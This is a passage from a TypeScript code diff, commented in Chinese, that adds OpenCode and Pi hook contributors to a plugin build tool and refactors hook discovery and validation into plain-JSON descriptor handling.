nativeEvent: 'session.idle', reason: 'OpenCode session.idle cannot preserve all stop decisions.' }, +}); + +/** OpenCode Contributor 生成 workspace runtime Plugin。 */ +export const openCodeContributor: PlatformContributor = Object.freeze({ + platform: 'opencode', + platformApiVersion: '1', + /** 以只读 Built State 追加 OpenCode 的 Hook 运行时和兼容性。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚 workspace Assets 与完整 compatibility。 */ + const output = collector(); + /** supported 保存实际会出现在 runtime Plugin 中的 Hook。 */ + const supported: BuiltHook[] = []; + for (const hook of built.hooks) { + /** event 选择固定 runtime event。 */ + const event = eventName(hook.definition); + /** support 对 Claude-only event 返回 unsupported。 */ + const support = appliesToPlatform(hook, 'opencode') + ? EVENTS[event] ?? { supported: false, level: 'unsupported' as const, reason: `OpenCode does not recognize ${event}.` } + : { supported: false, level: 'unsupported' as const, reason: 'The Hook explicitly targets another Platform.' }; + /** options 进入静态 runtime descriptor。 */ + const options = resolveOptions(hook, 'opencode'); + reportSupport(output, hook, 'opencode', support, options, { + matcherNative: event === 'PreToolUse' || event === 'PostToolUse', statusNative: false, + }); + if (!support.supported) + continue; + supported.push(hook); + addHookRuntime(output, hook, '.opencode/acplugin-hooks'); + } + if (supported.length > 0) { + /** descriptors 不包含函数、SourceRef 或物理路径。 */ + const descriptors = supported.map((hook) => { + /** options 决定 matcher 和固定子进程 timeout。 */ + const options = resolveOptions(hook, 'opencode'); + return runtimeHookDescriptor(hook, options.matcher, options.timeout); + }); + await addRuntimeAsset(context, output, '.opencode/plugins/acplugin-hooks.mjs', createOpenCodePluginSource(descriptors), supported.map(hook => `hook:${hook.id}`)); + } + return finishContribution(output); + }, +}); diff --git a/packages/extensions/hooks/src/contributors/pi.ts b/packages/extensions/hooks/src/contributors/pi.ts new file mode 100644 index 0000000..3ecea6c --- /dev/null +++ b/packages/extensions/hooks/src/contributors/pi.ts @@ -0,0 +1,76 @@ +import type { ContributionContext, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltHook, BuiltHooks } from '../build.js'; +import { eventName } from '../discovery.js'; +import { createPiExtensionSource, runtimeHookDescriptor } from '../runtime-integration-source.js'; +import { + addHookRuntime, + addRuntimeAsset, + appliesToPlatform, + collector, + finishContribution, + hasExtensionPoint, + reportSupport, + resolveOptions, + type HookEventSupport, +} from './common.js'; + +/** Pi runtime Extension 对 canonical 事件的固定映射。 */ +const EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'session_start', reason: 'Pi exposes session_start.' }, + SessionEnd: { supported: true, level: 'native', nativeEvent: 'session_shutdown', reason: 'Pi exposes session_shutdown.' }, + UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'input', reason: 'Pi exposes input.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool_call', reason: 'Pi exposes tool_call.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Pi has no distinct permission request event.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool_result', reason: 'Pi exposes tool_result.' }, + PreCompact: { supported: true, level: 'native', nativeEvent: 'session_before_compact', reason: 'Pi exposes session_before_compact.' }, + PostCompact: { supported: true, level: 'native', nativeEvent: 'session_compact', reason: 'Pi exposes session_compact.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent-start event.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent-stop event.' }, + Stop: { supported: true, level: 'degraded', nativeEvent: 'agent_end', reason: 'Pi agent_end cannot enforce every stop decision.' }, +}); + +/** Pi Contributor 生成一个 npm Package Extension 和 portable Handlers。 */ +export const piContributor: PlatformContributor = Object.freeze({ + platform: 'pi', + platformApiVersion: '1', + /** 以只读 Built State 追加 Pi 的 Hook 运行时和兼容性。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚 Package Assets 与完整 compatibility。 */ + const output = collector(); + /** supported 保存实际注册到 Pi Extension 的 Hook。 */ + const supported: BuiltHook[] = []; + for (const hook of built.hooks) { + /** event 选择 Pi runtime event。 */ + const event = eventName(hook.definition); + /** support 对平台限定事件不伪造交付。 */ + const support = appliesToPlatform(hook, 'pi') + ? EVENTS[event] ?? { supported: false, level: 'unsupported' as const, reason: `Pi does not recognize ${event}.` } + : { supported: false, level: 'unsupported' as const, reason: 'The Hook explicitly targets another Platform.' }; + /** options 进入 runtime descriptor 和 compatibility。 */ + const options = resolveOptions(hook, 'pi'); + reportSupport(output, hook, 'pi', support, options, { + matcherNative: event === 'PreToolUse' || event === 'PostToolUse', statusNative: false, + }); + if (!support.supported) + continue; + supported.push(hook); + addHookRuntime(output, hook, 'extensions/acplugin-hooks'); + } + if (supported.length === 0) + return finishContribution(output); + if (!hasExtensionPoint(context, 'package-manifest', ['pi', 'extensions'])) { + context.diagnostics.report({ code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', message: 'Pi Platform does not expose package-manifest pi.extensions.' }); + return finishContribution(output); + } + /** descriptors 是 Pi Extension 内嵌的纯静态 Hook 数据。 */ + const descriptors = supported.map((hook) => { + /** options 决定 matcher 和子进程 timeout。 */ + const options = resolveOptions(hook, 'pi'); + return runtimeHookDescriptor(hook, options.matcher, options.timeout); + }); + await addRuntimeAsset(context, output, 'extensions/acplugin-hooks.mjs', createPiExtensionSource(descriptors), supported.map(hook => `hook:${hook.id}`)); + return finishContribution(output, [{ + document: 'package-manifest', path: ['pi', 'extensions'], value: ['./extensions/acplugin-hooks.mjs'], + }]); + }, +}); diff --git a/packages/extensions/hooks/src/discovery.ts b/packages/extensions/hooks/src/discovery.ts index 57fe838..2c18d35 100644 --- a/packages/extensions/hooks/src/discovery.ts +++ b/packages/extensions/hooks/src/discovery.ts @@ -1,644 +1,411 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; import type { ExtensionDiscoverContext, ExtensionValidateContext, -} from '@tokenroll/acplugin'; + JsonValue, + SourceDirectoryRef, + SourceFileRef, +} from '@tokenroll/acplugin/sdk'; import { - ANTIGRAVITY_PLATFORM_ID, CLAUDE_CODE_PLATFORM_ID, CODEX_PLATFORM_ID, - CURSOR_PLATFORM_ID, HOOK_ID_PATTERN, - OPENCODE_PLATFORM_ID, - PI_PLATFORM_ID, PLATFORM_ID_PATTERN, } from './constants.js'; import { CLAUDE_CODE_PLATFORM_EVENTS, HOOK_EVENTS, - isHookDefinition, - type HookDefinition, type HookEvent, - type PlatformHookEvent, + type HookEventDeclaration, } from './types.js'; -/** - * 按 UTF-16 code unit 比较 Hook 目录项,不依赖宿主 locale/ICU。 - * - * @param left 左侧名称。 - * @param right 右侧名称。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} +/** Hook descriptor 顶层唯一允许的作者字段。 */ +const HOOK_FIELDS = new Set(['event', 'matcher', 'timeout', 'statusMessage', 'platforms', 'run']); -/** discover 阶段保存的 Hook ID、来源目录和已执行定义。 */ -export interface DiscoveredHook { - /** 从一级目录名称取得的稳定 Hook ID。 */ - readonly id: string; - /** 当前 Hook 的绝对源码目录。 */ - readonly directory: string; - /** 必需 `hook.ts` 描述文件的绝对路径。 */ - readonly sourcePath: string; - /** 由 defineHook 创建并完成加载的作者定义。 */ - readonly definition: HookDefinition; -} +/** Claude Code 单 Hook 覆盖允许的字段。 */ +const CLAUDE_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); -/** 非空 discover 结果,作为 Core 判断 Extension 拥有实际资源的信号。 */ -export interface DiscoveredHooks { - /** 按 Hook ID 稳定排序的发现结果。 */ - readonly hooks: readonly DiscoveredHook[]; -} +/** Codex 单 Hook 覆盖允许的字段。 */ +const CODEX_FIELDS = new Set(['matcher', 'timeout', 'statusMessage', 'additionalContextLimit']); -/** validate 阶段读取的已配置 Platform 快照。 */ -export interface HooksValidationEnvironment { - /** 当前构建已配置且可接收平台事件或专属字段的 Platform ID。 */ - readonly configuredPlatforms: ReadonlySet; -} +/** 其余官方 Contributor 共同接受的字段。 */ +const PORTABLE_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); -/** Hook 定义根节点允许作者声明的字段。 */ -const HOOK_DEFINITION_FIELDS = new Set([ - 'event', - 'matcher', - 'timeout', - 'statusMessage', - 'platforms', - 'run', -]); +/** 拥有固定平台覆盖 Schema 的官方 Platform。 */ +const OFFICIAL_PLATFORMS = new Set(['claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi']); -/** Claude Code 单 Hook 平台覆盖允许的字段。 */ -const CLAUDE_CODE_OPTION_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); +/** 规范 Hook 事件的运行时集合。 */ +const EVENT_SET = new Set(HOOK_EVENTS); -/** Codex 单 Hook 平台覆盖允许的字段。 */ -const CODEX_OPTION_FIELDS = new Set([ - 'matcher', - 'timeout', - 'statusMessage', - 'additionalContextLimit', -]); +/** Claude Code 平台限定事件的运行时集合。 */ +const CLAUDE_EVENT_SET = new Set(CLAUDE_CODE_PLATFORM_EVENTS); -/** 其余官方 Adapter 共同接受的执行选项字段。 */ -const PORTABLE_OPTION_FIELDS = new Set(['matcher', 'timeout', 'statusMessage']); +/** State 中不包含 `run` 的纯数据 Hook descriptor。 */ +export interface HookDescriptorData { + readonly event: JsonValue; + readonly matcher?: JsonValue; + readonly timeout?: JsonValue; + readonly statusMessage?: JsonValue; + readonly platforms?: JsonValue; + readonly unknownFields: readonly string[]; + readonly runValid: boolean; +} -/** 具有稳定 Platform 选项 Schema 的官方 Adapter ID。 */ -const PORTABLE_OPTION_PLATFORMS = new Set([ - CURSOR_PLATFORM_ID, - ANTIGRAVITY_PLATFORM_ID, - OPENCODE_PLATFORM_ID, - PI_PLATFORM_ID, -]); +/** discover/validate 阶段使用的 owner-bound Hook 来源。 */ +export interface DiscoveredHook { + readonly id: string; + readonly location: string; + readonly directory: SourceDirectoryRef; + readonly source: SourceFileRef; + readonly definition: HookDescriptorData; +} -/** 用于运行时验证的规范事件集合。 */ -const HOOK_EVENT_SET = new Set(HOOK_EVENTS); +/** Hooks Extension 的非空 discovered State。 */ +export interface DiscoveredHooks { + readonly root: SourceDirectoryRef; + readonly hooks: readonly DiscoveredHook[]; +} -/** 用于 Claude Code Adapter Schema 验证的平台专属事件集合。 */ -const CLAUDE_CODE_EVENT_SET = new Set(CLAUDE_CODE_PLATFORM_EVENTS); +/** validation 通过后仍保持纯数据和 SourceRef 的 State。 */ +export type ValidatedHooks = DiscoveredHooks; -/** - * 兼容 TypeScript Loader 返回模块命名空间或已解包默认导出两种形态。 - * - * @param value TypeScript 描述文件的加载结果。 - * @returns 存在 default 时返回 default,否则返回原值。 - */ -function unwrapDefault(value: unknown): unknown { - if (value !== null && typeof value === 'object' && 'default' in value) - return (value as { readonly default: unknown }).default; - return value; +/** @returns 未知值是否为不带行为的普通对象。 */ +function isPlainObject(value: unknown): value is Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + return false; + /** prototype 用于拒绝 class、Date、Map 等可执行容器。 */ + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; } -/** - * 把绝对描述文件路径转换为不泄露工程根的诊断位置。 - * - * @param context 当前 discover 上下文。 - * @param sourcePath 需要报告的绝对来源路径。 - * @returns 以 srcDir 为基准且统一使用 POSIX 分隔符的位置。 - */ -function sourceLocation(context: ExtensionDiscoverContext, sourcePath: string): string { - /** 相对于规范源码根的安全报告路径。 */ - const relative = path.relative(context.srcDir, sourcePath).split(path.sep).join('/'); - return relative.startsWith('../') ? path.basename(sourcePath) : relative; +/** 深度复制一个无 accessor、Symbol、cycle 或 executable 的 JSON 值。 */ +function copyJson(value: unknown, path: string, ancestors = new Set()): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${path} must be finite.`); + return value; + } + if (typeof value !== 'object') + throw new TypeError(`${path} must contain JSON data.`); + if (ancestors.has(value)) + throw new TypeError(`${path} must not contain cycles.`); + ancestors.add(value); + try { + if (Array.isArray(value)) { + /** 数组索引必须稠密且不能携带隐藏自定义字段。 */ + const descriptors = Object.getOwnPropertyDescriptors(value); + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${path} arrays must not contain symbol fields.`); + for (let index = 0; index < value.length; index += 1) { + if (!Object.hasOwn(value, index)) + throw new TypeError(`${path} must not contain sparse arrays.`); + } + if (Object.keys(descriptors).some(field => field !== 'length' + && (!/^(?:0|[1-9][0-9]*)$/u.test(field) || Number(field) >= value.length))) + throw new TypeError(`${path} arrays must not contain custom fields.`); + /** 逐索引读取 data descriptor,绝不通过 Array.prototype.map 触发 getter。 */ + const result: JsonValue[] = []; + for (let index = 0; index < value.length; index += 1) { + /** 稠密索引必须仍是显式 data property。 */ + const descriptor = descriptors[String(index)]!; + if (!('value' in descriptor)) + throw new TypeError(`${path}[${index}] must be a data property.`); + result.push(copyJson(descriptor.value, `${path}[${index}]`, ancestors)); + } + return Object.freeze(result); + } + if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${path} must be a plain JSON object.`); + /** descriptor 读取保证 getter 在任何阶段都不会执行。 */ + const descriptors = Object.getOwnPropertyDescriptors(value); + /** result 与作者后续 mutation 完全断开。 */ + const result: Record = {}; + for (const field of Object.keys(descriptors).sort()) { + /** 当前字段必须是显式 data property。 */ + const descriptor = descriptors[field]!; + if (!('value' in descriptor)) + throw new TypeError(`${path}.${field} must be a data property.`); + if (descriptor.value === undefined) + throw new TypeError(`${path}.${field} must not be undefined.`); + result[field] = copyJson(descriptor.value, `${path}.${field}`, ancestors); + } + return Object.freeze(result); + } finally { + ancestors.delete(value); + } } -/** - * 把 Hook 描述文件转换为相对于工程根的稳定诊断位置。 - * - * @param context 当前 validate 上下文。 - * @param hook 需要报告位置的 Hook。 - * @returns 不包含宿主绝对目录的 POSIX 工程路径。 - */ -function hookLocation(context: ExtensionValidateContext, hook: DiscoveredHook): string { - return path.relative(context.project.root, hook.sourcePath).split(path.sep).join('/'); +/** 把已加载作者模块转换为不包含 `run` 的 immutable descriptor State。 */ +function descriptorData(value: unknown): HookDescriptorData { + if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError('Hook descriptor must be a plain object.'); + /** fields 只通过 descriptors 读取,禁止 non-enumerable accessor 隐藏语义。 */ + const fields = Object.getOwnPropertyDescriptors(value); + if (Object.values(fields).some(descriptor => !('value' in descriptor))) + throw new TypeError('Hook descriptor fields must be data properties.'); + /** unknownFields 只保留字段名,未知值不会进入跨阶段 State。 */ + const unknownFields = Object.keys(fields).filter(field => !HOOK_FIELDS.has(field)).sort(); + /** result 主动移除唯一可执行字段 run。 */ + return Object.freeze({ + event: fields.event === undefined || fields.event.value === undefined + ? null + : copyJson(fields.event.value, 'Hook.event'), + ...(fields.matcher === undefined || fields.matcher.value === undefined + ? {} + : { matcher: copyJson(fields.matcher.value, 'Hook.matcher') }), + ...(fields.timeout === undefined || fields.timeout.value === undefined + ? {} + : { timeout: copyJson(fields.timeout.value, 'Hook.timeout') }), + ...(fields.statusMessage === undefined || fields.statusMessage.value === undefined + ? {} + : { statusMessage: copyJson(fields.statusMessage.value, 'Hook.statusMessage') }), + ...(fields.platforms === undefined || fields.platforms.value === undefined + ? {} + : { platforms: copyJson(fields.platforms.value, 'Hook.platforms') }), + unknownFields: Object.freeze(unknownFields), + runValid: typeof fields.run?.value === 'function', + }); } -/** - * 扫描并加载 `src/hooks//hook.ts` 作者格式。 - * - * @param context Core 提供的隔离工作目录、源码根和 TypeScript Loader。 - * @param include 可选的显式 Hook ID 白名单。 - * @returns 没有选中资源时返回 undefined,否则返回稳定发现状态。 - */ +/** 发现、加载并去函数化 `src/hooks//hook.ts`。 */ export async function discoverHooks( context: ExtensionDiscoverContext, include?: ReadonlySet, ): Promise { - /** Hooks Extension 独占的固定作者源码根。 */ - const root = path.join(context.srcDir, 'hooks'); - /** Hook 根目录中的一级目录项。 */ - let entries: import('node:fs').Dirent[]; - try { - entries = await fs.readdir(root, { withFileTypes: true }); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return undefined; - throw error; - } - - /** 成功加载并通过品牌检查的 Hook 定义。 */ + /** hooks 是 Resource Registry 为当前 Extension 独占签发的根。 */ + const root = context.roots.hooks; + if (root === undefined) + return undefined; + /** 顶层 entries 已经过 Source Registry 的 symlink/special/collision 审计。 */ + const entries = await context.sources.list(root); + /** hooks 只保存成功加载且被 include 选中的 descriptor。 */ const hooks: DiscoveredHook[] = []; - /** include 中已经在源码目录找到的 Hook ID。 */ - const includedIds = new Set(); - for (const entry of entries.sort((left, right) => compareCodeUnits(left.name, right.name))) { - /** 当前 Hook 候选目录的绝对路径。 */ - const directory = path.join(root, entry.name); - if (!entry.isDirectory() || !HOOK_ID_PATTERN.test(entry.name)) { - context.reportDiagnostic({ + /** found 用于精确报告 include 中不存在的资源。 */ + const found = new Set(); + for (const entry of entries) { + if (entry.type !== 'directory' || !HOOK_ID_PATTERN.test(entry.name)) { + context.diagnostics.report({ code: 'HOOK_ENTRY_INVALID', severity: 'error', message: 'Hook entries must be one-level lowercase kebab-case directories.', - location: { path: sourceLocation(context, directory) }, + location: { path: entry.path }, }); continue; } if (include !== undefined && !include.has(entry.name)) continue; - includedIds.add(entry.name); - /** 当前 Hook 必需的 TypeScript 描述文件。 */ - const sourcePath = path.join(directory, 'hook.ts'); + found.add(entry.name); try { - /** Loader 执行并解包后的 Hook 定义候选值。 */ - const definition = unwrapDefault(await context.loadTypeScriptModule(sourcePath)); - if (!isHookDefinition(definition)) - throw new TypeError('Hook descriptor must use defineHook().'); - hooks.push(Object.freeze({ id: entry.name, directory, sourcePath, definition })); + /** source 是作者格式唯一入口;同目录依赖由 Module/Compiler Host 图审计。 */ + const source = await context.sources.file(entry.directory, 'hook.ts'); + /** raw 只在当前调用栈内存在,run 不进入返回 State。 */ + const raw = await context.modules.loadDefault({ id: `hook-${entry.name}`, entry: source }); + hooks.push(Object.freeze({ + id: entry.name, + location: source.path, + directory: entry.directory, + source, + definition: descriptorData(raw), + })); } catch { - context.reportDiagnostic({ + context.diagnostics.report({ code: 'HOOK_LOAD_FAILED', severity: 'error', - message: `Hook "${entry.name}" descriptor could not be loaded or was not created by defineHook().`, - location: { path: sourceLocation(context, sourcePath) }, + message: `Hook "${entry.name}" must provide a safe plain default-exported descriptor in hook.ts.`, + location: { path: `${entry.path}/hook.ts` }, }); } } - if (include !== undefined) { - /** id 表示当前显式 include 项,用于报告不存在的作者资源。 */ for (const id of include) { - if (!includedIds.has(id)) { - context.reportDiagnostic({ + if (!found.has(id)) { + context.diagnostics.report({ code: 'HOOK_INCLUDE_MISSING', severity: 'error', message: `Included Hook "${id}" does not exist under src/hooks.`, - location: { path: `hooks/${id}` }, + location: { path: `${root.path}/${id}` }, }); } } } - - /** 目录完全为空或 include 明确没有选择资源时不激活 Extension。 */ - const hasSelectedResource = hooks.length > 0 || includedIds.size > 0; - return hasSelectedResource ? Object.freeze({ hooks: Object.freeze(hooks) }) : undefined; + return hooks.length === 0 ? undefined : Object.freeze({ root, hooks: Object.freeze(hooks) }); } -/** - * 判断未知值是否为不带自定义原型的普通对象。 - * - * @param value 待验证的作者配置值。 - * @returns 值可安全按自有字段读取时返回 true。 - */ -function isPlainObject(value: unknown): value is Record { - if (value === null || typeof value !== 'object' || Array.isArray(value)) - return false; - /** 候选对象的原型,用于拒绝类实例和其他可执行访问器容器。 */ - const prototype = Object.getPrototypeOf(value); - return prototype === Object.prototype || prototype === null; -} - -/** - * 校验 matcher 的字符串形态和可执行正则语法。 - * - * @param context Core 提供的诊断出口。 - * @param hook 当前 Hook 描述。 - * @param value 待验证的 matcher。 - * @param fieldPath matcher 所在的稳定字段路径。 - */ -function validateMatcher( +/** 提交一个绑定 Hook 来源和字段的 validate 诊断。 */ +function error( context: ExtensionValidateContext, hook: DiscoveredHook, - value: unknown, - fieldPath: readonly (string | number)[], + code: string, + message: string, + fieldPath?: readonly (string | number)[], ): void { + context.diagnostics.report({ + code, + severity: 'error', + message, + location: { path: hook.location }, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** 校验 matcher 语法与稳定字符串类型。 */ +function validateMatcher(context: ExtensionValidateContext, hook: DiscoveredHook, value: JsonValue, fieldPath: readonly string[]): void { if (typeof value !== 'string') { - context.reportDiagnostic({ - code: 'HOOK_MATCHER_INVALID', - severity: 'error', - message: `Hook "${hook.id}" matcher must be a string.`, - location: { path: hookLocation(context, hook) }, - fieldPath, - }); + error(context, hook, 'HOOK_MATCHER_INVALID', `Hook "${hook.id}" matcher must be a string.`, fieldPath); return; } if (value === '' || value === '*') return; try { - /** matcher 需要能被两个默认平台的正则实现解析。 */ - const expression = new RegExp(value); - void expression; + /** 实际 Contributor runtime 使用 JavaScript RegExp。 */ + void new RegExp(value); } catch { - context.reportDiagnostic({ - code: 'HOOK_MATCHER_INVALID', - severity: 'error', - message: `Hook "${hook.id}" matcher is not a valid regular expression.`, - location: { path: hookLocation(context, hook) }, - fieldPath, - }); + error(context, hook, 'HOOK_MATCHER_INVALID', `Hook "${hook.id}" matcher is not a valid regular expression.`, fieldPath); } } -/** - * 校验 timeout 是平台配置接受的正有限秒数。 - * - * @param context Core 提供的诊断出口。 - * @param hook 当前 Hook 描述。 - * @param value 待验证的 timeout。 - * @param fieldPath timeout 所在的稳定字段路径。 - */ -function validateTimeout( - context: ExtensionValidateContext, - hook: DiscoveredHook, - value: unknown, - fieldPath: readonly (string | number)[], -): void { - if (typeof value !== 'number' || !Number.isFinite(value) || value <= 0) { - context.reportDiagnostic({ - code: 'HOOK_TIMEOUT_INVALID', - severity: 'error', - message: `Hook "${hook.id}" timeout must be a positive finite number of seconds.`, - location: { path: hookLocation(context, hook) }, - fieldPath, - }); - } +/** 校验 timeout 是正有限秒数。 */ +function validateTimeout(context: ExtensionValidateContext, hook: DiscoveredHook, value: JsonValue, fieldPath: readonly string[]): void { + if (typeof value !== 'number' || !Number.isFinite(value) || value <= 0) + error(context, hook, 'HOOK_TIMEOUT_INVALID', `Hook "${hook.id}" timeout must be a positive finite number of seconds.`, fieldPath); } -/** - * 校验状态消息是可安全展示的非空字符串。 - * - * @param context Core 提供的诊断出口。 - * @param hook 当前 Hook 描述。 - * @param value 待验证的状态消息。 - * @param fieldPath 状态消息所在的稳定字段路径。 - */ -function validateStatusMessage( - context: ExtensionValidateContext, - hook: DiscoveredHook, - value: unknown, - fieldPath: readonly (string | number)[], -): void { - if (typeof value !== 'string' || value.trim().length === 0) { - context.reportDiagnostic({ - code: 'HOOK_STATUS_MESSAGE_INVALID', - severity: 'error', - message: `Hook "${hook.id}" statusMessage must be a non-empty string.`, - location: { path: hookLocation(context, hook) }, - fieldPath, - }); - } +/** 校验 statusMessage 是非空展示文本。 */ +function validateStatus(context: ExtensionValidateContext, hook: DiscoveredHook, value: JsonValue, fieldPath: readonly string[]): void { + if (typeof value !== 'string' || value.trim().length === 0) + error(context, hook, 'HOOK_STATUS_MESSAGE_INVALID', `Hook "${hook.id}" statusMessage must be a non-empty string.`, fieldPath); +} + +/** @returns descriptor 已验证事件的统一名称。 */ +export function eventName(definition: HookDescriptorData): string { + return typeof definition.event === 'string' + ? definition.event + : String((definition.event as Record | null)?.name ?? 'unknown'); } -/** - * 返回 Hook 实际声明的 Platform ID;规范事件没有单平台限制。 - * - * @param event Hook 定义中的事件声明。 - * @returns 平台事件的 Platform ID,规范事件返回 undefined。 - */ -export function platformForEvent(event: HookDefinition['event']): string | undefined { - return typeof event === 'string' ? undefined : event.platform; +/** 把规范事件映射为兼容性 ID 使用的小写 kebab-case。 */ +export function eventCapability(definition: HookDescriptorData): string { + return eventName(definition).replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase(); } -/** - * 返回 Hook 在平台配置中使用的原生事件名。 - * - * @param event Hook 定义中的事件声明。 - * @returns 规范事件字符串或平台事件的 name。 - */ -export function eventName(event: HookDefinition['event']): string { - return typeof event === 'string' ? event : event.name; +/** @returns descriptor 平台限定事件的目标 Platform。 */ +export function platformForEvent(definition: HookDescriptorData): string | undefined { + return typeof definition.event === 'object' && definition.event !== null && !Array.isArray(definition.event) + ? typeof (definition.event as Record).platform === 'string' + ? (definition.event as Record).platform as string + : undefined + : undefined; } -/** - * 校验规范事件或显式平台限定事件,并应用 Adapter 已知事件集合。 - * - * @param context Core 提供的诊断出口。 - * @param hook 当前 Hook 描述。 - * @param environment 当前构建配置的 Platform 快照。 - */ -function validateEvent( +/** @returns 当前 Platform 已验证的覆盖对象。 */ +export function platformOptions(definition: HookDescriptorData, platform: string): Readonly> | undefined { + if (!isPlainObject(definition.platforms)) + return undefined; + /** value 是 copyJson 生成的 JSON object。 */ + const value = definition.platforms[platform]; + return isPlainObject(value) ? value as Readonly> : undefined; +} + +/** @returns descriptor 的事件可安全交给类型化运行时代码。 */ +export function hookEvent(definition: HookDescriptorData): HookEventDeclaration { + return definition.event as unknown as HookEventDeclaration; +} + +/** 校验一个 Hook 的事件、plain fields、平台范围和受控 options。 */ +function validateHook( context: ExtensionValidateContext, hook: DiscoveredHook, - environment: HooksValidationEnvironment, + configuredPlatforms: ReadonlySet, ): void { - /** 当前作者声明的事件值。 */ + for (const field of hook.definition.unknownFields) { + error(context, hook, 'HOOK_FIELD_UNKNOWN', `Hook "${hook.id}" field "${field}" is not part of the authoring contract.`, [field]); + } + if (!hook.definition.runValid) + error(context, hook, 'HOOK_RUN_REQUIRED', `Hook "${hook.id}" must define run().`, ['run']); + /** event 在 plain JSON State 中验证 canonical 或显式单平台形态。 */ const event = hook.definition.event; if (typeof event === 'string') { - if (!HOOK_EVENT_SET.has(event)) { - context.reportDiagnostic({ - code: 'HOOK_EVENT_UNSUPPORTED', - severity: 'error', - message: `Hook "${hook.id}" must use a canonical event or { platform, name } for a platform-only event.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event'], - }); - } - return; - } - if (!isPlainObject(event) + if (!EVENT_SET.has(event)) + error(context, hook, 'HOOK_EVENT_UNSUPPORTED', `Hook "${hook.id}" must use a canonical event or an explicit platform event.`, ['event']); + } else if (!isPlainObject(event) + || Object.keys(event).some(field => field !== 'platform' && field !== 'name') || typeof event.platform !== 'string' || !PLATFORM_ID_PATTERN.test(event.platform) || typeof event.name !== 'string' - || event.name.trim().length === 0 - || Object.keys(event).some(field => field !== 'platform' && field !== 'name')) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_EVENT_INVALID', - severity: 'error', - message: `Hook "${hook.id}" platform event must contain only a lowercase kebab-case platform and non-empty name.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event'], - }); - return; + || event.name.trim().length === 0) { + error(context, hook, 'HOOK_PLATFORM_EVENT_INVALID', `Hook "${hook.id}" platform event must contain only platform and name.`, ['event']); + } else if (!configuredPlatforms.has(event.platform)) { + error(context, hook, 'HOOK_PLATFORM_NOT_CONFIGURED', `Hook "${hook.id}" targets unconfigured Platform "${event.platform}".`, ['event', 'platform']); + } else if (event.platform !== CLAUDE_CODE_PLATFORM_ID || !CLAUDE_EVENT_SET.has(event.name) || EVENT_SET.has(event.name)) { + error(context, hook, 'HOOK_PLATFORM_EVENT_UNSUPPORTED', `Hook "${hook.id}" uses an unsupported platform-only event.`, ['event']); } - /** 已完成形态检查的平台事件。 */ - const platformEvent = event as PlatformHookEvent; - if (!environment.configuredPlatforms.has(platformEvent.platform)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_NOT_CONFIGURED', - severity: 'error', - message: `Hook "${hook.id}" targets unconfigured Platform "${platformEvent.platform}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event', 'platform'], - }); + if (hook.definition.matcher !== undefined) + validateMatcher(context, hook, hook.definition.matcher, ['matcher']); + if (hook.definition.timeout !== undefined) + validateTimeout(context, hook, hook.definition.timeout, ['timeout']); + if (hook.definition.statusMessage !== undefined) + validateStatus(context, hook, hook.definition.statusMessage, ['statusMessage']); + if (hook.definition.platforms !== undefined && !isPlainObject(hook.definition.platforms)) { + error(context, hook, 'HOOK_PLATFORMS_INVALID', `Hook "${hook.id}" platforms must be an object.`, ['platforms']); return; } - if (platformEvent.platform === CLAUDE_CODE_PLATFORM_ID) { - if (HOOK_EVENT_SET.has(platformEvent.name)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_EVENT_CANONICAL', - severity: 'error', - message: `Hook "${hook.id}" must declare canonical event "${platformEvent.name}" as a string.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event'], - }); - } else if (!CLAUDE_CODE_EVENT_SET.has(platformEvent.name)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED', - severity: 'error', - message: `Claude Code Adapter does not recognize Hook event "${platformEvent.name}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event', 'name'], - }); + for (const [platform, value] of Object.entries(hook.definition.platforms ?? {})) { + if (!configuredPlatforms.has(platform)) { + error(context, hook, 'HOOK_PLATFORM_NOT_CONFIGURED', `Hook "${hook.id}" configures unconfigured Platform "${platform}".`, ['platforms', platform]); + continue; } - return; - } - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED', - severity: 'error', - message: `Hooks Extension has no platform-only event schema for Platform "${platformEvent.platform}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['event'], - }); -} - -/** - * 校验一个 Platform 覆盖对象及其 Adapter 专属字段。 - * - * @param context 